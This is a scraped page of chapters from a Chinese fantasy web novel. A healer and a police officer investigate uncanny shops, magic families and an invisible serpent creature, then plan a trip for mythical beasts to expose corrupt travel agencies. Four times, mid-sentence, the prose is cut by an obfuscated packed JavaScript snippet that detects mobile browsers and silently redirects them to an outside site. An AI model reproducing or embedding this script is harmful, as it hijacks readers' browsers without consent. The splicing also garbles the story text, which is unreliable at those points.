“那我自己去。”春渐满显然有些生气,他不明白一个人怎么能这么矛盾,有些时候正义得让人发指,有些时候又这么会躲懒。 独孤尽当然能感受到春渐满的不愉,但他仍然毫无所动。 有谁见过哪个神仙天天都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688942|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为民工作的,没有吧,神仙也是挑人的,况且,他又不是神仙,他只是个普通人。 呃……可能稍微有那么一丁点儿的不普通,但这也不是他要被压榨的理由。 春渐满几口把早餐吃完,负气出了门,他先是在鸡蛋汉堡店附近观察了会儿,才敲门进去。 “您好,有鸡蛋汉堡卖吗?”春渐满一边推门一边问着。 店铺不大,里面有三个小桌,能坐上六个人。 怪就怪在,春渐满在店外看不清,可一进店里,这里头竟每桌都坐满了人。 他们手里都捧着鸡蛋汉堡大快朵颐。 不是,这个店有这么火吗?还是他来得太凑巧了,才会满员?! 而且,刚刚对面不是说他们家已经被吊销执照,不能经营了吗? 莫不是非法经营?春渐满迅速扫视四周,确实没看到营业执照。 “客人挺多啊,啥时候能轮到我?”春渐满故意抬了声音,他到现在也没认出来哪位是店主。 “我们不开店了,想吃去别处吧。”原来店主猫着腰不知道在翻什么,这会儿听到声直起了身,他扬了扬手,赶人。 “那你这店里不是还有挺多客人吗?怎么他们能吃到,就不给我吃?”春渐满立马呛声,动作夸张地指着那六个齐刷刷啃着东西的人。 说实话,这个画面确实诡异,哪有人这么整齐吃东西。 “给你吃?呵,你敢吃吗?”店主手里拿了把菜刀,大咧咧就从后厨走了出来。 刀刃上沾着血,还有些不知名的紫色的液体。 春渐满眸光一凛,寒光迸射,周身气势全开。 “你怎知我不敢吃?” “好,好,你敢吃我自然是欢迎,不过我家营业执照被撤了,没法给客人做吃的,来吃的都是朋友,算不得营业,这你懂吧?”店主脸上横肉抖了两下,他不怀好意地打量春渐满。 春渐满刚想应下,等会儿趁人不备把这东西存起来,晚点给所里检验去,就被独孤尽喊住了。 “真生气了?跑过来吃独食都不带我啊。”独孤尽的语气即轻松又自然,他冲店主笑笑,拉着春渐满就要往外走。 春渐满掐了独孤尽一把,他这边刚问店主要到关键东西,这鸡蛋汉堡还没上呢。 独孤尽忍着痛,面不改色硬是把春渐满从店里带了出去,在监控死角,独孤尽压低声音跟他道,“我派了神兽去探查这家店,你刚才太冒险了。” “而且这家店确实有问题,应该跟玄门有关系,我发现了使用术法的迹象,坐在店里的那六个,都不是人。” “不是人?!那是什么东西?!”青天白日里,春渐满后背起了一层白毛汗,他回想起刚刚那六人齐刷刷的动作,又打了个激灵。 “具体是什么东西,我现在还无法定论,但绝对不是人。”独孤尽敛眸专注地盯着春渐满,“春警官,别忘了正事,我们断不能再节外生枝了。” 世间不平之事多如牛毛,只要有生灵存在,就会有纷争。 他们能做的只有竭尽所能,而非把这整个世间都背负在身上。 46. 低调的陆家 以防万一,独孤尽留了一只神兽在鸡蛋汉堡店附近让它摸查情况,而他们必须尽快到陆烨修家一探究竟。 陆烨修看着自己放出去的式神有异动,脸上露出点玩味的笑。 “猎物上钩了,就是不知道是不是我期待的那位。” 陆家作为在玄门中行事最低调的,基本上没人了解他们家的底细,并且,他们现在也不靠这种手段赚钱。 这些事做多了总是有损家族气运,不如让子孙辈都去好好学习报效国家来得福报多。 原本陆烨修也是被当成国家栋梁培养长大的,可就在前不久,落水案发生后,他被家里长辈拎回去耳提面命了好一番。 这才知道了玄门的存在,知道自己家竟然也在玄门中有一席之地,而他天生就有异于常人的能量,只不过这些能量被封印了。 为了让他能够更好地保护自己,不被一些坏了心肠的人害了,落水案后他的能量就解封了。 就此,他连班都不去上了,潜心在家钻研术法,也因此被家里人狠狠批评,要他继续上班为建设国家而努力。 “爸、妈,我学术法也能为国家尽忠!”陆烨修有点像狂热的信徒,他折着纸,看着一只只小巧玲珑的千纸鹤很满意。 “你这有违祖训,如果不是为了你的人身安全,我们断然不会这么早把这些事告诉你。” “哎呀,祖训不是只要求我们低调吗?只要低调就好了,放心,我不会高调的。”陆烨修拍拍胸脯,他像是高调的人吗? “……你平时的行事作风,哪里不高调?”作为陆烨修的亲生父母,他们太了解自己的孩子了。 开朗活泼、大大咧咧、不拘小节,更没那份细腻的心思,最容易把事情办得张扬,人尽皆知。 “那我以后会更低调的。”陆烨修虽然再次保证,可陆家仍旧愁眉苦脸。 独孤尽找上门来时,一家人如临大敌,觉得陆烨修一定是招惹了大能。 “啊!我最亲爱的朋友!你居然主动来我家做客,有长进啊!”陆烨修开心地揽着独孤尽就要往屋里走。 独孤尽挣脱开他的胳膊,把水果礼盒放进他手中,“有事找你。” “来就来,还这么客气干什么,我又不爱吃水果,倒是带点儿肉啊。”陆烨修转头就把水果礼盒给了父母。 “小修,这是你同学吧,我记得之前你生日宴时,他来过。”陆母的记忆力不差,一眼就认出了独孤尽。 “是我的好兄弟独孤尽,他说找我有事,我们先进屋聊了。”陆烨修又看了独孤尽旁边那人一眼,眼眸眯起好好打量了一下。 春渐满被看得浑身不自在,强装镇定抿着唇。 “你要跟他一起进我屋子?”陆烨修是一字一顿问出口的,像是极其不欢迎春渐满。 “自然。”春渐满倒是没在意这点,他不动声色地观察着陆宅。 既然觉得这里有蹊跷,肯定要多留点心。 独孤尽也心不在焉,他同样在观察陆宅。 陆宅的位置很隐蔽,在一片绿化很好的别墅区,这里住的都是在社会上有一定地位的人,不一定是富人,但绝对对国家有着非一般的贡献。 陆家原本也是靠给国家做贡献才住在这的,可现在独孤尽看哪里都觉得不对劲。 许是他获得了画之后没来过,这次来才发现正片住宅区都被一股能量笼罩着。 这股能量波动很熟悉,跟之前差点跟他干起来的那股能量很像。 独孤尽给了春渐满一个眼神,他们最主要要留意的是隐形之物。 隐形之物之所以危险就在于,他们仅凭肉眼是无法辨别这东西在哪的。 即便独孤尽身边有一个跟屁虫,陆烨修还是赶忙拉着独孤尽进了他房间。 一进屋陆烨修就忍不住开始了他近阶段学习的成果汇报。 对着独孤尽进行了一顿夸夸,“我就知道兄弟你有异于常人之处,你看你周身的这个能量磁场,太强大了。” “至于他,就不怎么明显了,应该是个比普通人稍微强一点的那种人。”说完后还嫌弃地看了春渐满一眼。 春渐满满头黑线,颇感无语。 “好兄弟,让我们强强联手,所向披靡!” “我问你,你可见过一种隐形之物?”独孤尽开门见山,他想看看陆烨修的反应。 无论他的回答是真是假,开门见山时给人的冲击才能获得最真实的信息。 “啊?都是隐形的了,我还怎么见?”陆烨修大脑转了几圈才反应过来独孤尽问了什么。 “可它朝这边跑来了,你没撞见?它很危险。”独孤尽继续追问,他难得做出急切的表情。 这么生动的表情在他身上有点格格不入。 “真没见到,你的意思是,它可能会对我们不利?那我要赶紧告诉家里人,让他们戒备起来!”陆烨修还是很关心家人的,他甚至还在想要不要跟邻居也说一声,或者整个片区通报。 “我跟你说,我家里人应该还挺厉害的,他们会一些术法,我最近也学了一些,晚点我们交流一下,也能互相学习提高能力!”陆烨修毫不藏私,他非常高调就跟独孤尽坦白了一切。 原本还在门外听墙角的陆父陆母听到这里,气得差点没晕过去,横说竖说都没用,他们就知道自己儿子是个藏不话的,让他低调简直太要他命了。 陆烨修推开房门的那一刹那,迎接了他父母最热情的拥抱,虽然不是自愿的。 “这位同学啊,我们家是有一点特殊,但是你别听小修胡说,我们都是普通人,搞搞科研,帮国家做事的,你说的这个隐形之物我们确实没见过。”陆父连忙找补,却又被自家儿子拆穿。 “爸!跟我兄弟不用这么见外,但是隐形之物我们确实没见过吧?你和妈也不知道吧?” “听完我兄弟说,这东西挺危险的,我们要不要赶紧提醒大家?” 独孤尽刚想说什么,就忽然感觉自己像被什么毒蛇暗中盯住了一样。 他看了春渐满一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688943|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也想提醒一下陆烨修,奈何陆烨修过于愚钝,他就算眼色使到天上去,他也看不懂。 隐形之物应该就在附近,可能真跟陆家没关系,但现在再没关系,也有关系了。 春渐满自然读懂了独孤尽的意思,他配合着独孤尽缓缓往外走。 “叔叔阿姨,今天贸然前来,实在是打扰了,我们还有事,先走了。” 春渐满带着独孤尽遛得飞快,那隐形之物也跟着他们一同出来了。 两人又对看一眼,刚打算找片空旷之地再跟这东西周旋一顿,就被追出来的陆烨修打断了。 “你们俩聊什么非要避开我?!” “我现在也会些术法,能帮你们的忙!” 独孤尽沉默着暗自摇头,显然陆烨修帮不了他们的忙,这隐形之物就在附近,他半点儿都没感知到。 光能感知他的能量有多强有什么用,倒是对危险有点感知力啊! “我们自然是要干只有我们两人才能干的事,肯定要避开你。”春渐满瞥了陆烨修一眼,挑衅意味十足。 “只有你们能干的事?什么事?你说出来,我还不信我干不了了。”陆烨修当即被挑起了怒火,他指着远处道,“我前段时间还放了式神在外面,它们今天还帮我探查到了同样有能量的人,我进步很快的,你们少看不起我!” “没看不起你,只不过,我和你兄弟在……”春渐满故意拎着独孤尽衣领凑近他来了个借位之吻,“这你也要介入?” “什么?!你们居然是这种关系!!!”陆烨修显然被春渐满的动作惊到,连连后退几步。 “我才不做电灯泡,你们要干什么就干吧!我先回去了!” 看着陆烨修落荒而逃,独孤尽无奈地弹了春渐满一个脑瓜崩,“没看出来,你还爱恶作剧。” “这是解决他的最好办法,省时省力。”春渐满非常满意地看着陆烨修远去的背影,这才压低声音,“隐形之物在哪?他说的式神又是什么?” “我大概知道他说的式神是什么了,还记得鸡蛋汉堡店那六个动作统一的东西吗?可能就是他术法不太成熟的原因,才会那么像伪人。” “隐形之物的正主应该就在这片区域里,有人给它治疗过了。” 春渐满警惕地扫视四周,他确如陆烨修所说,是个普通人,没能力。 独孤尽安抚地拍拍春渐满的肩膀,“别听陆烨修胡说,你即便是普通人,也已经是普通人里很厉害的那类了。” “况且,小弟,你现在是我的人,与我共享能力,比他强不知道多少倍,不要妄自菲薄。” “是你说的,我们有这么多神兽任凭差遣,有什么好怕的。” 一句接着一句的安慰让春渐满心中逐渐火热起来,他认真地点头,“确实不该妄自菲薄,我们一定可以克服重重困难,坚守正义。” 接下来的事就简单多了,独孤尽趁隐形之物以为它还没被发现,一家一家别墅门口走过去,反向观察隐形之物的能量波动。 47. 以德报怨 风声飒飒,晴好的天眼见着阴沉下来,头顶上骤然聚集了成片的乌云,层层叠叠,霎时间就将光遮实了。 “隐形之物落在这家了。”春渐满的感知力虽不像独孤尽那么浑然天成,但黑暗之中涌动着什么他还是能看见的。 “万事俱备,我要做点儿不合规的事了,春警官可别告发我。”独孤尽冲春渐满眨了眨眼睛,紧接着从监控死角直接瞬移进了这家的内院。 高大的枣树上已经结了许多青涩的果子,坚韧地联结在树枝上,不畏强风。 独孤尽趁机顺了两颗,扯起衣摆一角擦了擦,塞进嘴里。 酸涩的口感让他一下就精神了。 这味道,他们种得还挺好,只要成熟,枣子就会变得很甜了吧。 独孤尽将没吃完的枣子朝隐形之物射去,打出了两声尖啸。 春渐满在墙外听见凄厉的声音立刻把耳朵捂住了,这种声波蕴含着容易让人受伤的力量。 “你来了!” 声音从四面八方袭卷独孤尽,他没寻找声音来源,只是镇定自若跳上枣树,半倚着纤细的枝条,摇摇晃晃像是在玩。 “来了,诶,你家枣种得不错,等结果了给我送点呗。” “年轻人当真是初生牛犊不怕虎,你可知这是哪?”声音比先前更加浑厚,里面蕴藏着跟隐形之物尖啸时一样的力量,甚至更甚。 只不过这点声波能量丝毫影响不到独孤尽,只有额前那点碎发飘动了一下,就归于平静。 “这里是我该夷为平地的地方,你说我说得对不对?” 独孤尽人看着挺淡,说出的话却极其狂妄,他半阖着眼眸,有一搭没一搭地瞭两下空中。 他已经发现与他说话之人在何处了。 那是个缩头乌龟,正躲在隐形之物后面呢。 真不知道他怎么找到个这么危险的地方进行躲藏的,莫不是应了那句话,最危险的地方就是最安全的地方? 那他会让他知道,什么叫聪明反被聪明误。 独孤尽抬手伸出一根食指,朝着空中射出了一串带着电的攻击。 为了不让居住在附近的其他普通民众产生别的想法,他已经尽力把攻击伪装成闪电了。 这一击把隐形之物描边绘画了出来,春渐满在外面看得清清楚楚,原来隐形之物长得及其像龙。 不过那应该不是龙,而是蛟。 “不对劲啊,先前看着怪像条章鱼的,它不仅会隐形,还会变形啊?”独孤尽一边感叹一边欣赏被他照出了身形的家伙。 他假装没发现躲在隐形之物后面的那位,继续朝隐形之物发起攻击。 这次,他每一下都对着藏在隐形之物后面的那位,可以说是对着他进行了描边。 “好大的口气,我倒要看看你怎么把这夷为平地!” “当然是,找规划局研究研究这片城区的开发,合理建议这边拆除居民楼,改建成做别的项目啊。”独孤尽唇角上扬,他一本正经地胡说八道。 “你敢跟我开玩笑?!”对方显然听出了独孤尽的意思,立刻暴怒。 躲不住的人终于从隐形之物后面出来了,这次亮相既不帅也不酷,更没有反派的气场,反而有些灰溜溜的滑稽。 独孤尽看着连滚带爬跑出来的人,他还故作姿态,仰着脑袋恨不能鼻孔朝天。 只不过他脸庞被烧焦的发丝昭告了他的狼狈。 “你看我像是在跟你开玩笑吗?”独孤尽无所谓地举起双手,反正他攻击不需要实质性的武器,只要有空气,什么都能成为他的武器。 包括……这棵枣树。 独孤尽牵着了一根枝条过来,取了两片叶子,破空而发,这一次他没留手,直接擦着那人的皮肉而过,鲜血的味道弥散在空气中。 战斗险些就要一触即发,但对面的人却收了手,“‘怪奇诊所’是吧?我不与你作对,你也放我一马,我只是收了人钱,要帮人办事。” 他拍了拍隐形之物的脑袋,那东西解除了隐身,逐渐变小,最后变成了一条宠物蛇的大小,缠绕在那人手腕上。 “我的宝贝都被你伤成这样了,也算能给他们一个交代。” “你可知罗家做的那些事?”对方想收手可没那么容易,现在是独孤尽不打算罢手。 “罗家做的事我不清楚,但他们的老太爷都亲自登门拜访,求到这种程度了,我们也不好拒绝。” “他们求的可不止你们一家,你看旁人接了吗?”独孤尽充满讽刺地衔着叶片给他吹了一曲送葬歌。 “也正是因为旁人没接,给你家的好处才格外多吧?”独孤尽手中的叶片如利器,再次扎在那人皮肉之中。 “呃啊——”那人应声倒在地上,还不忘使了法术把自己的身形遮住。 “你觉得我查不出你是谁吗?玄门李家。”独孤尽一语道破,地上那人猛地颤了两下,肉眼可见慌乱起来。 “恳请‘怪奇诊所’饶过李家,我们一时糊涂,才会与您为敌。” “一时糊涂?我看是故意挑衅,当‘怪奇诊所’不发火是病猫。”独孤尽又咬了一口枣子,继续酸得皱眉。 再不吃口枣子,他真怕自己在人家的树上睡着了,缺乏睡眠真的要不得,都怪他们接了这黑心肠的单子,不然他现在已经在自己家美美地睡觉了。 “我们断然没有这种意思!” “哦?当真没有,那就把罗家给你的报酬都给我作为精神损失费。”独孤尽强忍着打哈欠的冲动,从树上翻身而下,轻盈落地,朝着那人就伸出手。 隐形之物虽已经变小,看似乖乖缠在主人的腕上,可毕竟跟独孤尽来来去去多个回合,对独孤尽的气息有种条件反射,这下直接张嘴要咬在独孤尽手上。 独孤尽眼疾手快掐在那小东西的脑袋上,他收了手,生怕把这东西捏爆了。 “看好你的东西,把钱给我就一笔勾销。” “这……这……”那人额头上都是汗水,独孤尽离得越近,他越能感觉到那骇人的压迫力。 这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688944|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怪奇诊所”的实力。 他着实不该与之为敌,可罗家给的报酬实在让人心动,够他们李家购买十年修行资源了,如果就这么交出去,那就真是赔了夫人又折兵了。 “这样吧,我也不为难你,既然你不愿意赔偿我的精神损失,那我就让你进‘怪奇诊所’免费治疗,以德报怨吧。”独孤尽极其不爽,本就因为睡眠不足低气压,现在好了,这种没有道德底线的人,身上一定一堆黑料,他要好好治疗一番。 还玄门修行呢,这种家族修几百年几千年也不会有一人得道成仙。 “别!别!我给,我给。”李某当即应下,他决定先忍下这个暗亏,等以后“怪奇诊所”出事了,再落井下石进行报复。 “别给了,我也不缺钱,还是进‘怪奇诊所’治疗吧。”独孤尽又用树叶吹了一声口哨。 当即,无数神兽裂空出现,俯首跪在独孤尽身前。 “把李家好好治治,不用手软。”独孤尽划动手指,再次打开了“怪奇诊所”区域。 春渐满下意识捂住耳朵躲过一波耳压,没让他着急,独孤尽就从内院出来了,他塞了几颗枣子给春渐满。 “尝尝,挺新鲜的,我刚摘的。” 春渐满看着掌心里还青得发硬的果实,实在没有勇气下嘴,他反手就把枣子揣进了口袋。 “怎么又开了一个区域,你吃得消吗?”春渐满知道这样会消耗独孤尽很多精力,有些担心,况且,独孤尽的气色着实不好。 “吃不消,所以都交给它们了,我要回家睡觉了。”独孤尽说完就握住了春渐满的手腕,直接闪回了画里。 在再次被众多神兽迎接归来时,独孤尽简单扼要吩咐下去,“你们主人要闭关一段时间,有什么事先找你们春老师,全听他的。” 春渐满连一句拒绝都没来及说,就被独孤尽拉着回了屋。 独孤尽倒头就在沙发上睡了下来,一开始他还试图让春渐满一同补觉,但春渐满不习惯在沙发上睡觉,他重新变了一张床出来,睡在独孤尽旁边。 那会儿独孤尽已经呼吸均匀,不知道梦到了什么,还嘟嘟囔囔的。 春渐满瞧了会儿,眼皮也逐渐沉重。 独孤尽这一睡就睡得春渐满险些要出去找医生,还是耳鼠拦住了他。 “春老师,您放心,主人以前做了麻烦的任务回来也会闭关。” “闭这么久?十天?” “最长有过半个月,主人他在屋里有得吃有得喝,不会有事的。”耳鼠继续宽慰春渐满,可这句话惊得春渐满更想出去找医生了。 他可是见独孤尽睡了足足十天,中途根本没醒来过,既没吃也没喝。 “真的不会有事的春老师,您有时间过来教我们数字化信息吧,主人说现在人才不够用,还要您多培养的。” “……” 再需要人才,也倒是大可不必让一群上古神兽来学现代数字化信息……到时候真出了人才,颁奖时一激动,现出原形,还不把世界搅乱了! 48. 全体神兽出游 春渐满几度从独孤尽身边走过,试图将他唤醒,都被他天真无邪的睡颜给打败了。 独孤尽睡着时让人觉得什么事都是小事,睡一觉都能解决,一觉解决不了就睡两觉,两觉解决不了,就一睡不起。 当然,一睡不起那人就该没了。 可独孤尽这次还真一睡不起了。 “独孤尽,你再不醒,我就去那间你不让人进的酒窖了。”春渐满凑近独孤尽耳边,极尽威胁意味。 独孤尽翻了个身,不为所动,继续酣睡。 春渐满在厨房里炒着香喷喷的饭菜,甚至试图捏开独孤尽的嘴巴,用菜将他唤醒,独孤尽也没醒来。 “你再不醒,这些神兽可就换主人了。” 这次独孤尽听见了,他乐得嘴角都咧开了,“换得好。” 总算从这漫长的睡眠中苏醒过来,睡眼惺忪逮着面前的人就抱进怀里,脑袋搁在人家肩膀上蹭了蹭,“赶紧换,立刻换。” “白日做梦,赶紧起来吧你!”春渐满颇感无语,古往今来,身负重任者皆稳重可靠,只有这个家伙整天想着溜号。 恨不能代之的春渐满偏偏还没法代替独孤尽。 “啊,小弟,你做了什么好吃的,好香。”独孤尽耸耸鼻子闻到了令人精神抖擞的香味,这手艺,太可以了。 “香煎豆腐、糖醋排骨、肉沫茄子、番茄蛋汤……”春渐满向来对自己的厨艺很有信心,唯一受挫也就是刚刚没把独孤尽唤醒。 “哇哇哇!都是我爱吃的。”独孤尽眼里的睡意彻底消褪了,他从沙发上蹦起来,立马去洗漱。 身上那套衣服被他在沙发上翻来覆去了十天,早就皱巴巴不成样子了,为了表示对春渐满厨艺的最高敬意,他换了套新衣服。 春渐满腹诽,可不都是独孤尽喜欢吃的菜么,他为了唤醒独孤尽,可是向神兽们打听过的。 “这个米饭也太香了,闷的恰到好处,还有股艾叶香,好吃好吃。”独孤尽已经加了两碗饭了,桌上的菜也被他一扫而空。 “活过来了活过来了,这才是人生啊。”独孤尽摸着吃得溜圆的肚皮感慨,“要是每次任务后都能吃上这么一顿,我也有动力了。” 他说这话时,眼里对着春渐满都快闪出星星了,这连暗示都称不上,完全是明示了。 “你若能积极对待任务,休息的时候我就给你做。”如果只是简单的一顿饭就能俘虏独孤尽,那他可以做成千上万顿。 “当真?一言为定!不能反悔!”独孤尽想了想又补充,“就算你之后有老婆了,也不能反悔!” 春渐满怪异地看了独孤尽一眼,有点别扭地解释了一句,“我不结婚。” “怎么不结婚?我小弟这么好的人,不愁人喜欢啊。”独孤尽说完后,大脑停滞了片刻,心脏发麻,像是被什么击中了一样。 “但傻子不懂喜欢。”春渐满着重看了独孤尽一眼。 “这倒是,但你喜欢傻子?哪个傻子?我可以让耳鼠帮你治治。”独孤尽从没想过春渐满这么聪明精神的小伙竟然会喜欢一个傻子。 但每个人的喜好不同,他选择尊重。 “不用了!”春渐满抿紧唇指着桌上的一片狼藉,“你收拾碗筷。” “怎么生气了?”独孤尽收拾东西很快,只不过全程都在想春渐满喜欢的人到底是谁,让他摔了好几个盘子。 直到洗完,他才想起来,这是在画里,他大可直接让用过的碗筷消失,再变出全新的碗筷放进厨房。 失策失策,光在八卦了。 独孤尽的八卦之力很强,一天没到,春渐满就见到各神兽在对着他议论纷纷了。 连文鳐鱼这种电子宅都来问他了,“春老师,您到底喜欢谁啊?不会是我们中的一个吧?” “听主人说,您喜欢的……”文鳐鱼指指脑子,不好意思说出那个词。 “如果有需要,我和耳鼠都喜欢帮你的。” “不用……”春渐满颇感无力,他现在也不明白自己到底怎么喜欢上这人的了,而且指不定过不了多久新鲜劲过去,他就不喜欢了。 “真不用?有需要的话,不用客气,我们都是过命的交情了!” 春渐满刚打算从画里出去,回自己的世界清净清净,就发现画有些异常,他赶忙找到独孤尽。 独孤尽已经被画的预示又拉进入了幻境,他满头满脸都是汗水。 春渐满在旁看着只能干着急,却不敢胡乱干涉,生怕出错让独孤尽受到更大的伤害。 苏醒后的独孤尽一副无事人的样子拿毛巾擦了擦脸,“没事,就是画给我派新任务了。” “你想不想出去旅游?”独孤尽擦干净才朝春渐满伸出手。 “旅游?!”春渐满觉得自己就不该担心独孤尽。 “哎,你这什么眼神,这次的事件跟旅游有关,你怎么老用一副我不务正业的眼神看我啊,再这么以下犯上我可不带你了。”独孤尽伸手把春渐满的眼睛遮住,这也太过分了,看他像看垃圾似的。 春渐满握住独孤尽的手腕,“既然跟任务有关,还不快点。” “任务任务任务,你脑子里只有任务,我看你喜欢的那个傻子就是你自己吧。”独孤尽用极小的声音嘀咕了一句,却还是被春渐满听见了。 “还想不想吃我做的饭了?” “想,当然想……”独孤尽心领神会,立马改了口风,“你喜欢的人才不是傻子,一定聪明伶俐,跟你绝配!” 听完独孤尽的话,春渐满更气了,但当务之急不是这些琐事。 春渐满抢险抓着独孤尽的手指就往自己脑门上怼,“快点,让我共享感知。” “你这也太急了吧,疼不疼啊。”独孤尽收了力才没把春渐满的额头怼红。 他深吸口气,把画预示的内容传递给春渐满。 好一会儿,春渐满才喘着粗气从幻境中回过神。 独孤尽有时候说得挺对,这份工作确实对人不好,容易折寿,倒不是危险不危险的问题,是容易被气死。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688945|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “现在的旅行社这么嚣张?” “是啊!太嚣张了,就是变相的犯罪团伙,先把人骗上船,再把人扣着,最后吃干抹净。”独孤尽附和,他并不是没感觉,而是极力将自己的情感控制住了,不然真会折寿。 “而且不止一家,整个旅游业这种乱象横生,也没人管吗?”春渐满已经打算开始收集证据了。 “可能管也管不过来吧,毕竟,现在人人都能开公司。”独孤尽无奈地摊开手,“你看,就算这个世界上全是像你这样的正义之士,也管不过来。” “我们要想个办法,把整个行业的情况扭转。”春渐满翻着自己的笔记本,试图从中找到一些灵感。 可师父教他断案多年,却从未教过他如何扭转局势。 “要顺应民心,要双赢,否则扭转不了。”独孤尽叹了口气,“想赚钱的人多了,就成了一条绳上的蚂蚱,动了他们的蛋糕,局势可就难扭转了。” “那就给他们更多的蛋糕,让他们听我们的。”春渐满似是想到了什么,眸光流转,“走吧,先去参加一次旅行。” “深入敌方的内部怎么能只去我们俩人呢,干脆做次大团建吧,让那些蠢蠢欲动的神兽也出去玩一趟。”独孤尽眯起眼睛,他这次不仅想扭转人类的旅游业,还想给自己这波暗藏心思的神兽都收收骨头。 “这种好消息,就由他们喜爱的春老师去宣布吧。” 春渐满自然会用全力配合独孤尽的决定,即便他觉得独孤尽有时候挺傻,但在正事上,独孤尽又很可靠。 春渐满把所有神兽都召集来时,看着乌压压的一片,又觉得春渐满的方案不妥了。 这么多一起去,那得出好几辆大巴车。 但此时再去跟独孤尽讨论这种细节,就太浪费时间了,他心一狠,还是按照独孤尽的想法宣布了他们要大团建。 一时间,神兽们都沸腾了,尤其是那些平时就没学好人言的神兽。 九尾狐疑惑地打量着春渐满,“春老师,阿尽他当真让我们都出去?” “他就不怕……”不怕人间大乱吗? “难不成你想说,这是我擅自作主?”春渐满无辜地指向自己。 “可这么大的事情,阿尽怎么不自己过来说,还能刷刷好感。”九尾狐还是半信半疑,她准备等会儿自己跑过去确认一下。 “你不想去也得去,除非你想违背主人的命令。”春渐满可不打算再做统计,谁爱去谁不爱去,那太麻烦了。 “春老师!那我@#……@#?!” “春老师!我%@……%()!@#” 春渐满连蒙带猜才明白,这些平时人言就不过关的神兽说的是,他们怎么跟人类交流。 “用手语,就算是人类,也有语言不通的时候,也有不会说话的,你们就装作不会说话,直接用手势表达就可以了。” 春渐满觉得自己是要带着一波小孩子出去春游的老师,独孤尽还真是给他找了个好差事,怪不得他不自己来宣布。 49. 黑心旅行社 独孤尽正老神在在等着春渐满组织完神兽他好联系旅行社,就被一只毛茸茸的手打断了。 他一扭头,是他最得力又最不省心的干将九尾狐。 “阿尽,你为什么要花重资带大家一起团建?” “你想看我们自相残杀吗?” 独孤尽歪头故作无辜跟精明的九尾狐对视,“你们会做让我为难的事吗?” “阿尽!你明知道大家都心怀鬼胎,不像我对你这么忠诚。”九尾狐虽然表着衷心,却仍在试探独孤尽,想让他讲出自己的真实想法。 “你说得也对,要是大家都跟你一样忠诚就好了。”独孤尽若有所思地点点头,随后拍拍九尾狐毛茸茸的爪子,“他们这么不乖,不该得到跟你一样的待遇,我就命你为领队,配合春老师一起管他们。” “阿尽!”九尾狐眼神里都是幽怨。 “哦,这还不够,他们的生活起居你都管着点,只要他们不乖,你就罚他们,主人给你特权。”独孤尽继续一本正经跟九尾狐讨论。 “或者你来当导游也行,制定行程都归你,想怎么整他们随你心意。”独孤尽做出彻底摆烂的姿态。 “阿尽!你快联系旅行社吧,我看春老师都跟大家说好了,他也管得很得心应手,我怎么能夺了他的权呢,这不好。”九尾狐见大事不好,想要溜之大吉。 独孤尽手疾眼快拎住九尾狐的后脖颈,“放心,春老师很乐意看你们大展身手,你帮他,他肯定会领情的。” 九尾狐一头黑线溜走,却不想吃下这个暗亏,她在路上碰到其他神兽时,就散播主人和春渐满的谣言。 “你说什么?这次团建虽说看起来是主人让大家一起出去玩,实则是他想追求春老师?!”葱聋竖起耳朵,满脸八卦。 “怎么能让主人追求春老师呢,春老师这么好的人,主人那么……” “你是说主人不够好吗?”九尾狐眨巴着她充满魅惑的眼睛。 “不是,不是,主人也挺好的,但跟春老师未免有点……” 在大多数神兽的心里,独孤尽虽然是他们的主人,必须听命,可春渐满却是认真教他们东西的人,那份亲近感是别人不可代替的。 怎么都希望春渐满能够拥有最好的,起码不是独孤尽这种不解风情的。 “听说了吗?这次团建是主人早有预谋要追求春老师,我们可不能让他得逞,要好好保护春老师!” “……” 一传十,十传百,传着传着,意思越来越偏,但大家唯一达成共识的就是,要阻挠独孤尽和春渐满在一起。 “放心,一定会保护好春老师的!不让他跟主人有独处的时间!” 九尾狐满意地看着已经被她搅乱的形势,总算心里痛快了些,帮春渐满打下手也心甘情愿了。 毕竟,她可是要冲在第一线保护大家的春老师。 